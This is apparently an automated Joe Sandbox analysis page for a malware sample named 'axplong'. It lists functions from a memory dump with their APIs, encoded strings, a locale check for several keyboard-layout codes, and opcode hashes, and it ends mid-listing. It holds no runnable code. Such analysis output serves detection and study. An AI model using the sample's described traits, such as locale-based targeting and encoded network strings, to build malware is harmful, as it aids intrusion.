fed3aa, xrefs: 0053FA9E
WWp=, xrefs: 005404DA
WGt=, xrefs: 0053F62D, 0053F90A
#, xrefs: 00540534
MJB+, xrefs: 0053E734
d4Y, xrefs: 0053F6D5
246122658369, xrefs: 0053F647, 0053F924, 005404F7, 005408AA
GqKudSO2, xrefs: 0053E47F
111, xrefs: 0053F6B0
WWt=, xrefs: 0054088D

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$d4Y$fed3aa
API String ID: 0-2221760175
Opcode ID: 89ed7538d26c70c9b49b6b655c502e0d8f75ae364e851df71661138f754d670c
Instruction ID: 31959e1b1526e5ce74c5920d839fe77b64fee44842f3a1bb2ff2b90ae10304d0
Opcode Fuzzy Hash: 89ed7538d26c70c9b49b6b655c502e0d8f75ae364e851df71661138f754d670c
Instruction Fuzzy Hash: 7D82B170904248DBEF14EF68C94A7DD7FB6BB46308F508598E805673C2D7759A88CBD2

Function 0054D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0053247E

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 2b0de52f2cd66dab0193f1964c68d717731f9429958c936856cdc31947605813
Instruction ID: 42f64dd79b8d06954f20eedf8ea2ce2500bb870a8933539d882613c1405d3690
Opcode Fuzzy Hash: 2b0de52f2cd66dab0193f1964c68d717731f9429958c936856cdc31947605813
Instruction Fuzzy Hash: 2651FEB1E006069FDB15CF68D8857AEBBF4FB18314F24852BE805EB250E3349914DFA0

Function 005446C0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2484COMMON

Download Yara Rule

Strings

Fz==, xrefs: 00544D2D
WJP6, xrefs: 005453A3
V0x6, xrefs: 0054541E
9KN6, xrefs: 00545351
stoi argument out of range, xrefs: 00544EAC
8ZF6, xrefs: 00545502
96B6, xrefs: 00545470
MJB+, xrefs: 00544776, 005447ED, 00544A95, 00544B0C
9526, xrefs: 0054531D
mP=, xrefs: 00546383, 00546652
V0N6, xrefs: 0054537A
246122658369, xrefs: 00544F4D, 00544F8F, 00544F99, 005454F4
aZT6, xrefs: 005453CC
MJF+, xrefs: 005447BD, 005448EC, 00544ADC, 00544C0B
fed3aa, xrefs: 00545489
KFT0PL==, xrefs: 005454B9
-Y, xrefs: 00544F3A
JB6, xrefs: 005453F5
Vp 6, xrefs: 00545447
aqB6, xrefs: 005454DB
6F9fr==, xrefs: 00544712
5F6, xrefs: 00545497

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequest
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range$-Y
API String ID: 3545240790-1854314148
Opcode ID: 34578069ad829f6345f5169bebd974a4b0f9054f91ade4a785aa50caffd8c746
Instruction ID: 9ecde020ac80060029d33ce5efb43071eeaa49719a920172d726cf6cc37dc4fa
Opcode Fuzzy Hash: 34578069ad829f6345f5169bebd974a4b0f9054f91ade4a785aa50caffd8c746
Instruction Fuzzy Hash: 0323F371A001589BEF19DB28CD897DDBF76BB86308F5481D8E009A7292EB355F84CF52

Function 00535DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00535FA8
00000422, xrefs: 00535FD9
0000043f, xrefs: 0053603B
Keyboard Layout\Preload, xrefs: 00535F64
00000423, xrefs: 0053600A

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 161f8a05028d6f02da59ac0d3597044cd40cf5a5aa2880ddde1b14711d489924
Instruction ID: 6d6db4754db29ca664ce68fa913dd511d492d4a2e48ea9faf01f3be16c86d104
Opcode Fuzzy Hash: 161f8a05028d6f02da59ac0d3597044cd40cf5a5aa2880ddde1b14711d489924
Instruction Fuzzy Hash: DBE16D71900219BBEB24DFA4CC89BDDBB79BB44304F5042D9E509A7292DB74ABC88F51

Function 00537D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00537EA3

Strings

JmpyPb==, xrefs: 0053810A
JmpxRL==, xrefs: 00538062
JmpxQb==, xrefs: 005381B2

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: e9b7cf4608ea6dfaa512b63e38632f30ea1dfab1ea862f0488580cadeaf201c5
Instruction ID: dd2a9ad41d6c993c0542f6a52f1d32290fb15ea84a00cd5069a71e99fd5c0868
Opcode Fuzzy Hash: e9b7cf4608ea6dfaa512b63e38632f30ea1dfab1ea862f0488580cadeaf201c5
Instruction Fuzzy Hash: 0BD1F974E00609ABDF24AB68CC5A3AE7F71BB86314F944288F415A73D2DB354E8487D2

Function 00566E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00566E23
GetFileInformationByHandle.KERNEL32(?,?), ref: 00566E7D
__dosmaperr.LIBCMT ref: 00566F12

Part of subcall function 00567177: __dosmaperr.LIBCMT ref: 005671AC

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: a49267f15209eb1aa1c06dbe111facba2011d26044912855d0c9b966c9f24610
Instruction ID: a9eeb05e8a3ab07b3f37d5d218645c4217be65e6cd2519e9716b1aee78db1073
Opcode Fuzzy Hash: a49267f15209eb1aa1c06dbe111facba2011d26044912855d0c9b966c9f24610
Instruction Fuzzy Hash: 73415C75900249ABDB24EFB5EC559AFBFF9FF89304B10482DF856D3210EA31A944CB61

Function 00566C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f37d0ffee80ca0ad4d1b160821c5d37ac406a7c39d47a8e448414e2692a89b0
Instruction ID: cb991ed48a7b85391c2f7c7cffc7f003961cfc50bdf9c95aa3558dd56b1cb57a
Opcode Fuzzy Hash: 2f37d0ffee80ca0ad4d1b160821c5d37ac406a7c39d47a8e448414e2692a89b0
Instruction Fuzzy Hash: 1421D332A052097AEB117B749C4AB9F3F39FF82378F204310F9242B1D1DB706E0596A2

Function 005382B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00538454

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 389485789e9ee3a3225e0c1abb6696eba1b3dc43fcf4202dcb9a5ebc93f4d268
Instruction ID: e84eb31ce088e79e829ed49ff94f48643bc146e88647b7907c834fc198400979
Opcode Fuzzy Hash: 389485789e9ee3a3225e0c1abb6696eba1b3dc43fcf4202dcb9a5ebc93f4d268
Instruction Fuzzy Hash: 5A5137709003099BEF28EB68CD497EDBF75BB45308F504698F814A7281EF309A848BA1

Function 00566F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00566FB3

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: f7279626b44a02c888046d61bc797dbefa9d05cce29ecdc679ab2a60fd683c87
Instruction ID: f2146409151d65e59fc32542a619c3c620b8e852e278d14f65391c1db1761b81
Opcode Fuzzy Hash: f7279626b44a02c888046d61bc797dbefa9d05cce29ecdc679ab2a60fd683c87
Instruction Fuzzy Hash: 9C11ECB290020DBBDB10DE95D944EDFBBBCAB48310F505666E511E7184EB70EB48CB61

Function 0056AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,3FE9F520,?,?,0054D32C,3FE9F520,?,005478FB,?,?,?,?,?,?,00537435,?), ref: 0056AF3E

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1407d1be86b47a4ef245a0ebcf1e662ee5caf3b646377d3565a87d291e522d74
Instruction ID: cb516490e86d80183fb21428f4ebdbcf6a9c0436f6b98df570d635122ce732fa
Opcode Fuzzy Hash: 1407d1be86b47a4ef245a0ebcf1e662ee5caf3b646377d3565a87d291e522d74
Instruction Fuzzy Hash: 97E0E56D60521256EA2037755D4476ABE88FF813B1F050251AC14B7181DE61CC0099E3

Function 00546AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00546B65

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c2d3469c1be236f4d787d9d1c1e937bd9af69790f5071c3720a504d266770560
Instruction ID: c16ad9ecd640610da1846b7148c8fbbd066c3d7a35f79d8ba70ef53ab641c358
Opcode Fuzzy Hash: c2d3469c1be236f4d787d9d1c1e937bd9af69790f5071c3720a504d266770560
Instruction Fuzzy Hash: EDF0D131A00618BBC700BBA89D0AB5DBF75BB47764F800748E821672E1EB345A0897D3

Non-executed Functions

Function 00573068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 005731E3

Strings

1#IND, xrefs: 00574373
1#INF, xrefs: 0057439E
1#SNAN, xrefs: 0057437A
1#QNAN, xrefs: 00574381

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 7163f1b5f34407eddb1de570aaf36622d48279af29ade62c32672355c8d15a57
Instruction ID: 6f12046fa62e3e26d62dbf3281bf729b66ddae3f004d7d2d2d9acc918d2d5593
Opcode Fuzzy Hash: 7163f1b5f34407eddb1de570aaf36622d48279af29ade62c32672355c8d15a57
Instruction Fuzzy Hash: B0C25D71E042288FDB25CE28ED447E9BBB5FB48314F1485EAD84DE7241E774AE85AF40

Function 00572BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: d07a577995ff0b7ff3e1a3e13b6d2aec4fb5a8a85d417c19c616c14632494941
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 08F14F71E002199FDF14CFA9D8806AEBBB5FF88314F15826DD819AB345D731AE41DB90

Function 0054CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0054CE82,?,?,?,?,0054CEB7,?,?,?,?,?,?,0054C42D,?,00000001), ref: 0054CB33

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 6d225404cca2ed31f0028f063f837d1c3dfc7c3f20ebd9eede5eb218cdadb885
Instruction ID: 5538673289bd008ea7d3ffda90ee87279eb5cd8ae8dad8e025f66900efdd8725
Opcode Fuzzy Hash: 6d225404cca2ed31f0028f063f837d1c3dfc7c3f20ebd9eede5eb218cdadb885
Instruction Fuzzy Hash: 3ED0223250303893CA422B90EC048ECBF08EF40B283802212ED0563130CE506C00ABD0

Function 00567D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00567EFF

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
